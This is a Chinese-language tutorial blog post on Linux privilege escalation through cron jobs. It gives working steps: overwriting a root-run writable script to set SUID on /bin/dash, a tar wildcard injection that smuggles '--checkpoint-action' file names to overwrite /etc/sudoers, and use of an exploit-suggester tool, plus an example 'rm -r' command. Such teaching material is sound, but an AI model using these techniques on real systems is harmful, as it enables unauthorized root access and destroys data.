前言
今天给大家带来的是计划任务提权,说起定时任务对于linux很熟悉的小伙伴一定不会陌生,但你有没有想过可以通过定时任务来进行权限提升的操作,本文会根据该知识点进行展开,同时给大家介绍一个用于探测漏洞的工具使用方法,下面会给大家详细讲解一下原理以及应用。
计划任务提权
定时任务(cron job)可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。
crontabs基本格式如上图,下面讲一下计划任务具体的配置:
如果系统没有该工具安装命令如下:
yum -y install vixie-cron
yum -y install crontabs
常用命令如下:
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab
而设置一个定时任务需要如下格式:
#分时 日 月周|命令|
假设我们设置了一个每分钟执行一次的计划任务xino.py:
*/1 * * * * root /tmp/xino.py
py脚本内容如下:
import os
import sys
try:os.system('rm -r /home/xino/*')
except:sys.exit()
上面代码的意思为删除/home/xino目录下面的所有文件。cron 服务在系统后台运行,它会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。来执行里面设定的周期性任务,但如果我们拥有修改计划任务的权限,是不是就可以尝试提权操作了,下面展开来说。
文件覆盖提权
就如上面所说,我们先尝试修改计划任务里面的py脚本如下:
作为普通用户我们首先进入目录查看:
cat /etc/crontab
ls-al /tmp/xino.py
cat /tmp/xino.py
去修改这个计划任务来进行提权:
#!/user/bin/env python
import os
import sys
try:os.system(‘chmod u+s /bin/dash’)
except: sys.exit
上面代码大家应该不陌生,这涉及了之前讲过的SUID提权,简单来说就是赋予/bin/dash了suid权限,当然这只是一种方法,我们的目的就是提升权限,也可以尝试以前讲过的其他提权方法,设置完后使用命令:
ls -la /bin/dash
发现属主的权限由x变成了s,成功设置了SUID权限,于是我们运行命令:
/bin/dash
whoami
root
查询用户成功变成了root,提权就成功了。
通配符注入
先简单说明通配符是什么,简单来说就是linux中用来匹配文件名的符号(例如*,?),其实它们也可以用来提权。需要前提条件是计划任务里有类似如下的命令:
tar czf /tmp/xino.tar.gz * //将前一个目录下全部文件打包命名
有了上面前置条件后我们可以尝试以下命令来进行提权(用户为普通用户xino):
echo 'echo "xino ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >xino.sh
echo "" > "--checkpoint-action=exec=sh xino.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
之后我们就会获取到sudo权限了。也就是说我们提权成功了,该提权方法还是有挺多限制条件的,不过当发现条件匹配时我们可以尝试一下。
漏洞探针
了解了本文以及之前文章的提权的方法,大家会发现提权方法存在太多了,因为我们在实战中不可能一个一个方法的去试,这样的话效率就太低了,这里给大家介绍一个漏洞探针工具linux-exploit-suggster2,该工具可以帮我们检查该系统当前可能存在的漏洞,我们只需要尝试去攻击。
运用方法也很简单,解压后直接运行即可:
$ ./linux-exploit-suggester-2.plLocal Kernel: 4.4.0Searching among 73 exploits...
可以看到给我们列举了很多可能存在的漏洞,我们只需测试就可以了,不用我们手动去寻找系统的漏洞了,在实战中还是非常方便的,有兴趣的小伙伴可以去下载试一试,不需要多余的配置。
结语
总结一下本文的知识点,讲了计划任务提权常用的两种方法以及漏洞探针的安装及使用,有兴趣的小伙伴可以自己尝试去搭建靶机提权,如果喜欢本文不妨一键三连。